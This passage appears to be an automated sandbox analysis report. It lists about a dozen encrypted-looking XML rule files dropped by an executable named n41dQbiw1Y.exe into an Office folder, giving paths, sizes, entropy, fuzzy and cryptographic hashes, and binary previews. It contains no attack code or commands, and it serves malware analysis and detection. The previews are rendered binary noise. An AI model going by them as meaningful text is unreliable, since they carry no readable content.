Preview:	.<?.,............,{.-.=?....+.)U_6..J...,L...+.6.h.ms.rR.DW.S.]%..{=o..Hc..J>..6p@.e>..Z.=L...1..BsW...kX6.....%.T"..4&j..Lo5.C~.Z...@-b-sBxzChs..J.p.K..7=P.'...sd......A..(.5..3.P.u1!@=..8.d..\|...0s.gd./...@...\..4..%.\|.Q<...}.k.l.6._....O-y.8.d.....g......d.+..8..4/...@..j.....v.6T...4A....?...DB..c...]..l.-..di..}{..t/..4R.1f.sY..O...>.......>.N/S.....yy?..m......:.}.wE.,..e.lw....V.@+..7......E.....i....}.=...XV...9>......h.}....PU]...-.m..s..$..@2o..../.Q....k...'^f.\.Q...]..V.1.....s..Q#.YfW.:...m.)..(.K...G....z...HtB...t,yz.0?...M...K.....$..m.j....4V.=u.<.z.El.{.3\|o..S\|x..v.1.b.\|U.<o..a.e..,M..:...Gf.....R..49..../Q<......i=..ll.....\.G.p.o..\.17.!...r....i}....H9........I..[.^i.W..X..W...G.....'.-....N.....{n.".n....D.rz...x...I...cq}.....gi../h7..v\..m.4..(.S6)3.`..Yq8b...A...g..1......&oZ(nX.Rb..b~.]y..T..4*.)..(2r........o.DG....Um_.M...!wh...v_rn..........&.l..RT...(%QwB.(..5..4e..(.........o.....y%0FZp#....h.zvQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.886844354395322
Encrypted:	false
SSDEEP:	48:1fogLdRyCCU4rOYGS59K+1pT0WyAaizi/D:1gWy19GS58UT0WyzwA
MD5:	D3A2373BBC4AD01ACCAA7510153A1B92
SHA1:	A7E91BF4EFD5653FDEBFF38B799C92E768E8E04E
SHA-256:	C3E67308B8BE8DB4A51FDA7840B821CCEF20D7A1A5E160AC3343301F39222230
SHA-512:	7F572340A39FA3FC7618C0C169977A72F35C1E6D034C3AA4DFB474CC3585D7BE53E65C8E7BB4BAEE8C16CCAC7943861398195405A1738C3747B69FE9EC3FE12F
Malicious:	false
Preview:	.<?....h...........K.?+....i...R..\|....w.. ..j...V....;.D!.&....A3.p..D..C..R...P..o...e..bJ.\|.\|...,...C..=..0.* ..s..`.=..y9X..K..=-...v)j....j.........'......x.l....lz#/..W4.!.b+9..r.!.5...K......cfk.~@y(.kP..jw.....r.V...pS.......(.~\.....X...rY0.S..)........h.'[..2>.D...i`U0b.'..,d...I.......?JK.M.......ft!...p....Nf....6N?N..d....={.O..}<.?>.i...n.D..j.....p..B\|"M....w...>.....U......@9..mTE.Yy<.e...t..y.....}...[..EG...&. O..\|...:.8....d>e~w..Z........$.X.)2....Y.6U...&J.n.....L.7..C...E..?.I...S.A...(.@.HY\|1..zW.O...z.Tj..&.Mb...M...f....sD.b.....i..].(0....G.....b96/.iZ...zpr..m..Jt...p...c(..K..#.?..%.P....,V".....Q@.;..(..Qu...:M.wU.._...N-..i$v..........d.cUV#.SXRf..'%j..$./....U....6w.M..i....H..X;.Ye...VC.n[-.Z.T...]..L../ ;<~..![.2.9.....-.m`.Z.#B...i...i....t(.mN.i75..o.`.J....$....F.I.}.....%..f.h....X.31...VG9.F.Z....Xp...xWe...E.8"..)o...x....;2&p(..E.H......}...T.M...z.P.b..c...;..nL........{'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.882192740142337
Encrypted:	false
SSDEEP:	48:oCvNGNGRaxwOlC6hmkzuGrSlJCbbZxd8RUU66Z2nsjpHD:j84QdD/ulJqZvDU66ZUyZ
MD5:	0287731E3E943FE1B6549A7FC7802319
SHA1:	E0BB329839B8B352BE165259D400E40D155BD9B9
SHA-256:	93F252D14D9A87504858FCB72DC2FF1ADA97025B7DE03F7F2F06DF6955F9B328
SHA-512:	F8DCEABAAA2F344EF6E6A78C2D27AB07CBC000A0353BE23DF36051DA4DE17DBF1847D9F66B75721BF5D0A7895C6C7DE45C2223A36081806A4C5C12C0CCE8AAAF
Malicious:	false
Preview:	.<?tuQ2.G......t.0....n...._....UwDC....`k..u...@../W..F...~.....SZ.#.....i.Qq.. ..E8Q.e.vTd..g ........7...aX.."g.."..E..c...U.I......R...5...d.N)....l_..&....tL&..C.`vp.Z...,.......&q..sr.....6..,w+..1%...7..*.......Q,.v[....8....o.>..k8.!E.....g.p.Np.....j..y.g.<.N.qtb6M..{I....Sm....3t\3..K...Mg.R{.1.#G.r.M...m....8=D.....&...K.2......A..~.-..}Z......rg..@o.ho.....GU...i".....)."....m....x+..=..U..E....A.Z.cFK;.......6..].....k.SI_[...L6W.W..L..x......q.#;U.@..~#..J...pZ.x......&&.C....n....l9.D......k'.v.r...z...O..... C/...I..q6.O....a}..4.a!.).OZR....'N...(..Z&...N..F\|_..%.P..i.=W...+C....Cv~........P!.+.."S...M&..1=2[nI..{`..my+.&...Q.^.)....n..U....(...{..NmKw,..0...d.d...>l..L.3...D.{.>V./.j.(..\R{2..9+....&..Ue1u..D...d...4rW.\|..;P..2..I..H.....O._.jqw......6.....@s.K....s.....6.....J.4r;.J6.."I.E..P&d~.g..H..; ...l.{.#..q.7u.D. .....o.TD.0b..]..4.Dfon..}......i.t_=VT...@..........f.$$....g&v.#...$.T...d.xy.=.......Qj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.876022573610932
Encrypted:	false
SSDEEP:	48:Kn9/FqGhGfZ3BFA0vh525PLwGRIbIIXZbcr/ADtBfnD:KpJGf37r25PLwqIEIX9crIxdD
MD5:	CA5B96A7A67C90C49B2E499CB966C0F0
SHA1:	9C46F46585E2234EE626DB79A3BD12369CDEB937
SHA-256:	667F51F8410D9280FC188CA13ED9B28EF8CF58F83BE4CCC9F410FB7D93068503
SHA-512:	CBFCE716AD6C79423782F85AFD97CE97C300AF51DE0ACC22EFE573B306F7D5B248BB9F2C3CAA19AB22D6422DC048B56CF14FF512C808CD9649EBD6B33534EE55
Malicious:	false
Preview:	.<?....v...o../.9..q.t.k...M.4..i3...0.[.}?.........!.6.U.u....#&...;5....Df].S!Y..W... ..ZV.D.8....e..%.b..IQn..G..g.7....G.3....k..-...;..m.a..m0..?@...Fc_Mq.....!...'..a@..V{q1........e.......wW......4L.58Z.$<wQc.....\|6....+.Zx.d!.U,....I.=.... -...,....`m.L(/o1.J.X.i..g.K.....S.e...wkU.....iA.R."t~.\0o..M......}xs.../..%..v.ts.BY..V..ap.<..nIG....7.Gi.9.......F.].x.?P....Y.;...../..0........=C.....M)."d......Y..3...5.N...b..b....d..$U..7./.........V...dCI......*..F.#...1.B..m.R...T.l.+=.kw9..qV(...#.7.&]....Y.....>..'.=.<.z..{...h.m....`.......(..I..7..cE.....!.....Z=B.vg..N.:.m.O.Q].^...7..O.q....H..dC>O..9..sb..V..$8....V......{j........+...A@..o.e.....X.5.(.N.p.!.S.j......R..1....P.....loaw....5/dP.wO......z..S-{...3Z....e.P..U.}nN.S..`......B.....[..3.~9~..........=.9.g. ..vX..?..C.1,!.@~..G.#.Eb.5.W.....P..fb.....XnL.-_u...\...2?&\|...T.t..../tM.....X..kk..I...f..2..I.5/...#(...bT.!c<..}.^.#a:...3.a#'. ....U..'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.88219807220525
Encrypted:	false
SSDEEP:	48:GrJ9wVecnUfF8KL0BJ5bpbxNeawjaTudZJUgRD:6b8eY0GKL+fpbxNe/dZKY
MD5:	272A87C5A448DD0C810CAAB38FA8B174
SHA1:	7C56AB174582745F7A3486C5E6E85E2D13D81CD2
SHA-256:	C41374B0E7B231CFC70DF95BE38A33FC8F89E856F4E9B195A0388691DC2F0736
SHA-512:	865D471BBD1D712B92FD5005720C7C07943117A0806BB5E4D94494416029209D876A19E59D475C78290F5E8D514ADEAF8D8B81AB67F0B57F8E847B3A301665A8
Malicious:	false
Preview:	.<?..c.>.......c.?.R#.Z.[.B..^.TKk.H=.........\X....X....>..:........=..!#.iq.:pe....:f..t..AI..H$.\|...f..$/.2'8.....6.i-6.0..kFL..W..0.5...W.B<_...x=:3.L.,...~..Z..V.8.....].gv.L..A.p"..,x...e......J6.....ws;^........!.n..%.."5...TM.....\...T. m.6Z..R..,Z..}..........56.`..)A.j...%...bV.p_I...!...#n?.j;.!.9...M...._..f0H\|..q.X..U..z<..3o...e@+.<..A.Q...F..j...[<..K.i.,...=....!..g..M...R^x......H......=:`..'ZL./:ci..$x.........4...'G.Q_x....G..U..)-.....NcX..R....M..b...............P..n.....1;...~=........E...".....F..m"r.}.M....>.&....S.F.N...J..rL.........BW...-...Fp..&.M..O.8.>..^..m.F9..K.....'.A5.Ca.}.j...X..X^.........a.FT...'N.9..U..f_..qF=...9..O..V."#.h..0.a.=...........1.(p...5xE.,qZd."...a.f.H.+W.73.e......:..w.A.P.......px.%K...z...kW..D.a.f~.L;.<.<.\|$.^^.FHcF.9........$.&.zZ/...Y..mCF..V5.."NL.....j........{w{..Ch..#:L..._j.....yjZ......$.....q..\....Vp..5.d.k..B.A...?.2.....T...."_#....}..(j.XT.....n.5.m..z..s..4!.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.875731661126587
Encrypted:	false
SSDEEP:	24:HQgXMYS9GbIVZ/x2kKFmWnKfGFnu8wPNgSN5Hfzpf8CtOMw4izzWhSVbbD:H/MVck7SjKev0NgSrr6C0d4i3WKfD
MD5:	8DC87507BD9C71E7F304AF18FBB7BA83
SHA1:	081E739A2E7CB6F19D5AD6E0B0EFE006CE12C88E
SHA-256:	328189F30925A16F5CE5EF413122C11ADA321473679766A45943AB969B5D5863
SHA-512:	7A92385D5C8B1CC6EEBA7A853C4D7C9AF94C08C61D7AA94946F48CCF211D5ACA5A9695D41D644EDACA36CDDBD662508C36F4F770BC34D6B4467F2097D4C05A7B
Malicious:	false
Preview:	.<?LK.9dy.A....=...._5O.y.)` zy...5..^..V...)......U.X...}.;g..-KRb.........q,..x.->.*....m..D6.P..S..$...tw.;...9.2.H.Q.Me...'..&..C.......Uk-..>.'VP...`.3.;..a.I.....'......%../.>.cZ..eHm.h..~5...G6.o.cjU^."j..;..........I].F.....L..H..).. .Q...1M7dB...me.M.Z1E.Uj....^;...J....o.U......c..Api.....y...;.@....c..b............R../.8.}N.-.8.?O.T.@/..%....b.....:...X'.LT.$...(..0SI.Zf..9 f..!>..V......Cy.^.sb.h..y\|i..eB'!Sz+..p.n.....#6h.O.)E..NkF..s.V{...IuF..lM.A.h_.;.N.......VP....\|....x...Wv9..n....z........@j..........D..oy...o...'...?.Xl.n....aj].@.F?....u3.#.j0.........Tu.h........}....zW....zo....g.eX....E.........<.(..hK..It..i.......K...l..,.Zp.4.<...h.:.%.......\|;Q..:5....{vU...\|.d...z@....#!..^R....5..i...........}.5\|..?.........2.E..a.....I.........lK.Pm.y......T#.9P..^N..;....S.....z..;.U...j......41.,qM.#.<kGA.+.....=.\|......[..v..F.......e#.Q=.gdn....7..li'..x%.P#..).JD_.e....m/.y...A].e.....c...G.W..\|."...K...z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.901567290945129
Encrypted:	false
SSDEEP:	24:UFhuJWYL0undn9yXRfekxoamaiKjScV0X+iY1yNX6BfL9RbOOL6secYpR5rmur3e:UXuJxL8Rfe8xGmINKBCWWj5rmS3+DD
MD5:	8F3EC0C143405A5447CA7633919A69BB
SHA1:	284D96BD57975A64A94B430F11BEBFA3AA4134F5
SHA-256:	D9F176209DE1344879839BD7972CC165F7A8D02803276E275A5A19EAF1542E52
SHA-512:	882E13A76754B46554EFDFC16BF9939145857C2FD34718C557FEDD0981203716EB4A7F9D26586FDF17511DFD73CE5DC5EEBD4957761D1F724FF5EA2D0FE6BEF1
Malicious:	false
Preview:	.<?.$mf...)c.@.....z...=z.U.......w....<.....Z..;.w...(....6C%.O{!.......0_^5B.n..,+.R....h.5!H+x<.>... RZ.6S.OAC..r..D8_.kMZN}w....q.%..z...R.#.3...t2;....j....O.B.p....U..h.u..$xp..WyR....y.r...B}.ob.`......[.iH...5RkS.....-.#7.l..._?.6y8.I<..[.0v.$..L.-Z./E........tIx]......kN.V.o..K[.....MF?M.@^...i.ryp..\|NW\.'5.;.sn ).(...`....".K..".;..z..(B.;V..CV...g5...0,>.w...[Pb8m.~.......3NG$.....?.s..W.....$kQt.[...@{.>...;C5.W..._.9.....C.......+...r~..$...Y...6yt......\|.5W....Q.._....PI.jW..i.%Rd..LhX.........P.....5.....Q.?r.^..v~F..t.U.......q"..)....~,.5..)m........O.......w.p.rU..5.{L\oz4...Nl'..K........L@$...W....4">..............&.hy-Z./..(,..g.tP.3. (...1Y...ha.e..W.;].......H.6.........O./h.@...Ll..rj..<..V8=.L.x....Z..a......\|.<..?.....UH.Od...R.. j.7..o7V.c./j~zr.WJw.P=.t.8$...`+...A.\|T..o?.VI.c[.9f......>.9u...x~.......i..D.....;.X{..q...-.(..........kR...B]..?.-...Oo@..$..qX..l.X.;.....X..T\3H)..3.jL<vgi.H..K....y...C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.878549837513545
Encrypted:	false
SSDEEP:	48:s5ozAJ65T5yu/SiAvyjz6FHn7HRVZNo/QUQA8N8wD:sCn2uRSF1VZFVALs
MD5:	85C931195DC457CBE93EFFC3F8DBBCE8
SHA1:	FDFCB0A2797BF8095BFCE2EA86B9F8A85C383BCC
SHA-256:	E435AE1E6591D202B8B537E65B89AA2D3452EC9F23250EFC4A393283DC198D45
SHA-512:	EA2B3D6764AB11E68514FA2950ED812DFF434A1A9EF3375A010995BE4D0F625C0FCE20531D96E8C5C01BA2AFE63BF43B1A6E8AC1B98D24C8ED73E7DB4B8392BC
Malicious:	false
Preview:	.<?k..-.am..K....KS....).67..W/.~.$2u.{0."{N...aS.....@.^......uHg..J91-...Y.:.U%..;......_..H\\.x<.....A..........f.....#.r...2..+h.&.a.l.^)R...ng..:x@.:..+..:.z#.I.QLgAv...>NO......\|...m.n{....\ ...HA.K.].....6.s ..A>....J5..4..>.......&/......C.?.<..n.f......Xm...v_..c.......{..r..^.=PN..U.J.,w..{{?.2eT..:.\|u.d...s..O.L..........\|....D.#...,g..._....I.\|...p.0.....ll...>Jo.....Y8.[....7[..JF.....[.F...!...U^...K...j....:.ZW.4.{.......;.X\|{...Qa....=3.......S...,....f,...>.:.U.MM.'P.yT....w...J...H......Z....9`.L..qk.>.h.8~ZH..pLW......@...8.4....kdC..a..W.93zV....:...L..v.f.$geM..p./ou.:..y.....s^;6%......O<d..;....d...R.Z.O.r.k..4{}...+....L..}J.b.7.{...".>piko...Z;.Z.\|.Q........r...P.py<....1-6\|.).?...x.->.\|Vc>.j..p$..n.../j...2h....d..GGA.{2\|..d...Z.....4.d...LO...4..p...3.7.....6.?..#..7T.oA.Rc.XwR..r..."......N...,J.l...9...<..Y4.$../6...5q.....aJPI.i"...5Z.]........M.tK3..........+..x.L".4.:f...E....?.a.a9..v.a".u...JAvp.&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.877538016391875
Encrypted:	false
SSDEEP:	24:AHxuK1aUPmpzsSEyeY0kB6g2IdzG8wP24wejrFnfKz8VWomE3jp/001evvAr+XsI:AJsmmxveO66xwJfFlUoRz2xvvdZD
MD5:	D3F2439CC37750AA2800EB961B219AD0
SHA1:	44574F2561AF21B3E457553F161521172C190BC3
SHA-256:	51C789B337A50A1E2E7205BA8AE8EED9E7613E7A0FE8E8B1FAEDC4552D7D3461
SHA-512:	6688F246D9C2E1D933F0DAD612A19AE1B0BDA20936A0904060859E5D207F4D4C0E02FB9438EEA6C14B3831EC2C2ED919464C8F90B7A3BAAC7E889C89BE411080
Malicious:	false
Preview:	.<?.+.hb.....H.......!0....c.........1?Y........p....l4..H..y..r...d&]w.2...M..o..6.$K..`...v..y..C'\|....f...I.S.....+..8 ...(........A...,g..H...Kq.M(..i.c0.k..o+j...9.J,}CV....)...a...C6..)#..a.d.:...;....=...S.V.Q.4?pg....b..........dh.qn.......r......(....c..@dq.....6...%/}+.o.......w\|.^.u.s.h......M.....dl.*...1".B.+.Cm..3....U.3.....0.y.FX.......Uh...~.f..f $..n.J..(....8M6u..D....A......2FP.s.../\....S..........G)...$.\.N.)...{&...s...Bc.......c.jV..zZ,.L..v..#..>6..n..Z`..G.<...g...O..C...Y.,.e5....@\.eH..#.Yb..[...">..?j.$...W.V..=...w....._y.a.."...km.S....J.Z.m...FV...Ou.Z.C".......N.^.$.dY....Y..ho.Lc(....BF...k.:h..P...x.L...w.N...L..-...F.&...).H.......l8..2.c....\|..5....q.+.).O.......8..o.T..az...x..^...s.\|..L.........&.....e..^.$..J\|...A.G.....R.%vSz(-..[......4...!.........>.U..}:..4.9.I........,>..ux..V....`-.#g..a.....c../..Du...Q..\|~+.~..mj.5..(.....n.._...h...n0.Y\|.q..Vl.r...h.6]...g.....D......C.K..A.h.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.874442993331993
Encrypted:	false
SSDEEP:	48:z/Rmc/NgvLf0K5h2OpYwa1BfryMh2eY/HV0jhj31KD:oco8K72OpmBDyA2eYvW98
MD5:	5000BF56D0249FCE2669E9752431604C
SHA1:	5A34D1361C197247556F83B3DED5342F8AE7D9BD
SHA-256:	A861640B02B58AE0DD57BAB84EE8B101B1699EB34D4EF6B3AA3B0BFE6F0EE918
SHA-512:	1C1D96611CBB78725E0A030F6EFC507E2D3C9641E14377AE216B21B7320C3925404BA2C7E242D087C50D0E6956592F87162422FC3E3CCC87BDA069AE89492FB7
Malicious:	false
Preview:	.<?..1..3...5.......,]T.[...}.b..q.......p6.I.......l......!.v...?..x...9^.81..J.x3v.B......w..@.ckg&....@..F........zDN.H..g.^+&.]\|..@.0.y....qgE+5.6....g.....LV.....7..@.].rI:.\.h..6..E?.;lt.....eu...gV...!.jP.V5TPe.ey....o.\|Ww..7....+5[..^Cn.....Z..?@Bf...{.>...........5....ag........hP.].$.$w..k5.h.(.;..BoZ.b..%......N..(.2..k...V\...D0.\5..P.[...M.....~....Y=a'm.s...$..]Z..&0$..Pn..=..k\|[:...%.x.8.6.'..p...A.K.{x._nI...5.5......q..l.}....i...K..NYl...j...`.M.o.`....v.s.9.....z....4;.Y.....<........>U8r.T..O.g.{...Z..a?6..-..^%..I&7.....?.;....0bs..!.KR...e..e@.%y..9f.M.$..+[....(ri.."......LHe.6..C...k.w]..jl.4@...................:zL.ll.s..s..\|.1(..{.a.......k ?......H.....e0..-.^.f.H........V...6.;....lB..K.^8....}.j}.i.u.xN:f.2Y.*..]k..9.N7........^C.'.NI.)).A?6.B...G.....BI..J;6.,%..0s..K..rBt.H.H.z..n.q.m.J.n+SF.n..I.LKq+........q..+V.NS..T.F@.._:...dR.(x..hC......r.....tF.B..}.....@....Hf6.\|....$0A.3..S.)R......6....977,...v+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.895059097860882
Encrypted:	false
SSDEEP:	24:Z03a4X/L9z1Kmr1UnAQT4lp1kzedIvCX6qI/x/RF4waM3tLulgMZJN3hqwyCqwhL:Z6tvL7JxQ6bkdR/xNai0GMnztfD
MD5:	BFDEC5263CC7A1E41388C0DCBDCC25E3
SHA1:	A82C8B1D7E30EA2E73E8A8C725AA9F92642588B8
SHA-256:	FDE6609FBA1D750A654C442AEA4D7C096BE25EC1A060C5E19719E77B2887ECCF
SHA-512:	B5FBE3B126BAAC54E8E8A1710F88EBE12668514E46D461578DA44737D4D69767C550C8F1DBEC37F1129E45CA942F308CBE1733B68F0F845FC09091BB2B090AFC
Malicious:	false
Preview:	.<?.G..'..Io...n~.....;T.{Of{....e.n`..z..}Qp..X.6..Pk..\.4...=h.....`...b<.\..,.`..B.q>!.v.Y.tv..T...Z~"...c............`.'..Y...f..$P?.........n%.K~TSQ.)....RWn.ET......2..nP.!o...\n....}.....)%e.@h......[u..s..K@c.1.3V..c#.......#....M.Z.d(...r......-../.G..We....8#i...r.$.F.:J..O.D.0N..s.G.F..}a.5.b..PO}XqL.t..3..RL..He.....2....]..&v..?l...=J.O..==:...8....!.P..l8..=..Kr..:.%:.2.(..:.U....&.M:e...$'...x.C.K.....;.Q.......rf...3t./...d.p...]..B-c .j.E.b.k.(...2uXX........H..IpuTu]........ .....PExv.!...u..-c.X........=..t.....k..:q.....$D'....c...a.....yny.c.A...S....%.. ...-.wg.o.v.3..4D...E.F..}F@z< .A........v..V.j`..NV.x.Ti..lY.ORpw..y/.6`.5_....^...?.DP.}."{!.L..rz..H.....A..D.g..#.T...t2..2...%...\|..7.).=...[.1.W?..gt.mpx!...^.U..!q.l..R..t......^.5g.....1[.........b?:.,.H.:..%6.7H.a...R.....i...~!#.....E........%.9p$R...h...Z..M.oEy.(.=.....A.[..d.u'.+.R..O.3./....O..k&.3."d.-.I. %.._&..]..:Ag{...pk\|..#bf...c.n..h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.892777385239529
Encrypted:	false
SSDEEP:	24:rlI2ewAjiFeIU8KJMd7VcdRU/nC6zmDJ/3PhwCMKmtdsEF15ermQU329/00Gq2Vx:npsJ+ZZ+0nSZ5wldH9kDN00ILXD
MD5:	D54FDB43AE202344146E0E0AD9149DCE
SHA1:	F4E21FFA313618853740A5A7652285DF48272716
SHA-256:	592403323DC03FC164F2CE1BC900D4B3F238717BBA3341FFFF55FE83C886F0C5
SHA-512:	30B735ECB4ED9CBAA139778F858056B208732F720E0435527DA2F634ADD4412073036AE76CFA5575C7983C2F351376AFD3DB8806C269D440AB327C5DD3154686
Malicious:	false
Preview:	.<?.Lo..e...L.U.4..m^...<.@....h.;O....Q=.i...N..t.Q......!#..E.A/......4W..b..o..1...gc...\.(..+.i.@...M,#5...%[.s...4Uh.Q...E.Q2..Ww.P......%e..6.G.-..).I....2..\....3Jo... &rg...y.R...%.....Y../.&.8.N.Fy`.dk.f..z..].........zX...,...._.....~u.D)B.:`..XHi.u..%.p....9(.R........v.<.[c.......t.....0...r.j....W..WZ.K..).....N.@.L47.B.x...a.%sK._...e=.R.../..........Ot`..ZY+.-c\..+.d2..-.k//..z'#..}V..;.b&.#.h.i....El..".U.....Q6.W..5..K\{.......e..t)\(.Eq.YI.r......0....:...~=.Mz.xqJ.m.C.X.!..$..m.y.r....CO.?.X[......R9)'B.FQ.E#...v_..<.....h....:..^AB...V...8...@.m.;.VK..q5....."ls...]...%[4..=.]......o...V.^...z.).mNL...,E...M....vvG}&. ...W..=(....>".}..B...HFLA.y..h..i..N....~.&.#\.`.f........&..T....U.........3..a.j.bH..rd....z..k..@.....qD!..#.H#.F<.0....6+..u\.JR...8...*3.]>.yjO.H...Z.e#..........w..tD...`.a5P...]..t.$T-o...4}.}..kh9....~.S..z.^....i.F.....(..k9/..1......._..j.b.&h....GG..\|R...1..m..L.;...Qc.........;..Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.886667908151236
Encrypted:	false
SSDEEP:	48:HFCiCqXpoaCP5xiOy+iwwzGYkJlGFizph2vOKOTIMD:H4UOP/3y+iZzkJlGFizpAmrIo
MD5:	F856ACDAC361E8980EE2DAEDACE56CEA
SHA1:	86D60E255A3DB44EAE4549D076FE987A8B4A3C56
SHA-256:	833D38B9D3EF5F7C13BB6A0AB762DBB9E2D3778BEB7CBC2A4A76ABA6DD84FC46
SHA-512:	488D252CE9A4849AEEE77F25AD6D5FF14E19677CBACF2D05D67D20559123A763C7793CE6838789274BB209F76A2D8756765C541BB1272F54E9CAA43C3ED8DD53
Malicious:	false
Preview:	.<?.......j.j..!..AX....m.vV.{..v}..r'..NTP.....>....R.z.).1.5."...?r2.w..K...~pO.O.....p...S....!.....i.1.....#.}m.....y..#...2D..Zn.Xc+.......7......!.h..I..{....g.......R......j..\=(;:;......i..?e..6.7.#.~3aYm.<m.@.#..j.&........b.....<.f}.6r.b.z..,..9.0/.P..."..2..g.\...-....{..n...,.Z.'X...W... .~l!.t.[......./;...(6M.N..'8.pK....Me#F3...\.B...[.t..G].....6..$.$f.....g.Kr..`.<\|d.BQ.B@w......."......]o..._..D..#>W.......'RS.........ymC7O]..a._.i.U.#E...dO...U5.:.b...aI._.........^.<.....Lwr.....%.bW.B.\...<....sTY......\:...9.'.2O..L.8.......F`.x.#...qp...]8.5eh..uKl`......s.`#.. .....g..@&...$.t....[,.q.U.}....MC.E~..M......%.`..X..;....~uw.,....2.. .w....#.l..............k.-E.....(..[....i;O...DRo'..Ut.(..;...n/...../`..YUv...$w....Y.....n..X.+Vz.v.f~>x......rrXc.DN#...M-.j.NT.;.S...=C......kA....Z.H.T{.1oK.,.e..X........S&.E.{C...3....Q...k.W}....rH>!....7.X..E..3.....B...}nwU.8..s..W.;.W.>.9..*.V.<W.c.h."..p..aF f...p,....q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.885956235221096
Encrypted:	false
SSDEEP:	48:ZJY+Xp8+D8IKx1/hyNyrS3YB9J1sOCNit8BRD:nTuTlhyNyzrBCUkZ
MD5:	85442C07EDF679C0D67EF96C497ABF55
SHA1:	EB9AA57AA1B0011B20B165D66FBF775C787ADBBA
SHA-256:	3977DBBA21992AAEA564064AC3B3F76EB3536949C46AD284782719ABF83D2D4C
SHA-512:	6EBA2ED1E524E4BD060AF1CEBBB701158F14F24174BAF74C2B4DFEC06D4D2805640FA56A983567021A77C1EB04C692D6102A46B0585F55DFFE82431A1BBB003A
Malicious:	false
Preview:	.<?....#.x!ktph0.. C...-..B...w..:....\.H1..X..+.b......l.....=P....u.<..8.$0.n..y..P.A.\....v.'._.,>k.u....h.M..N...K.TH4.W9..q...v...#..d.\|\|..Bz......^7.{....n t.&..z...1..N..^xM.K...$v\i.).{O0........+..-..(..U..z........"z=_.57O.d.._f/...)#N..iS.u6&=....".d9.w.U.DN.\|.......Gf.x.`RV0...nst3......H..(@..`.../G.>&e..&..L.l.....Op.....B.\.3...7jg..6......t...r..J.g..e...l...o.&C].G..m...l...`v.....]-4D..n..d.5,.....$p<....Bj..9....2..o..,..n...?e......q..5......x.Sa.j...x.&l.s...o....%....e'3.}..:..L.@.c.O..7.....`)...D..F..M..#.;..>...V...2F...p...&...gv..d.. ....5S...$.%.....}....k.K....E..pN...@....71!0...u-.".....j...~3^e.uB.4...0.....Y..;#ry....dN.X.k...S...skb....8. .Up..........S..[.R8.\|At(....\.Y....w<./..F.zsk..24K3.J....>%.......rY]./...E...o..f.......S.Ol.01.....$x.L...fy...+.P-........~..u.%...[0.e.=Mh.....AGw'...w..z..f.f.>...5.YPM.2....,U.E..'.O4...pE..`.%..R...].....].:..FC......[...U.D..g.....Ic........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.870633485828073
Encrypted:	false
SSDEEP:	48:HoHVib+SxnL9PBMEqwb0f3rw1I/Xywrn4qtjv2VHD:HaV5SnBMbU2Cwsqtji
MD5:	4643B099C8B611C8CEFB46D68FDEA2C7
SHA1:	5A2F8DFA74FFF745215183FB4E6836F37A1ABE36
SHA-256:	D25527D11C32084208E061B881AE7A554CADDBC7E8227DD6DF2DD7313C79EC0B
SHA-512:	3691786CF60AB11FCD69E3058872D5EDB6E3AA97A2AE724295FF9AEADB4241F3A275E870271216788F63E04ED7339E4195FF508DEBEC8FC5AD890368364FE736
Malicious:	false
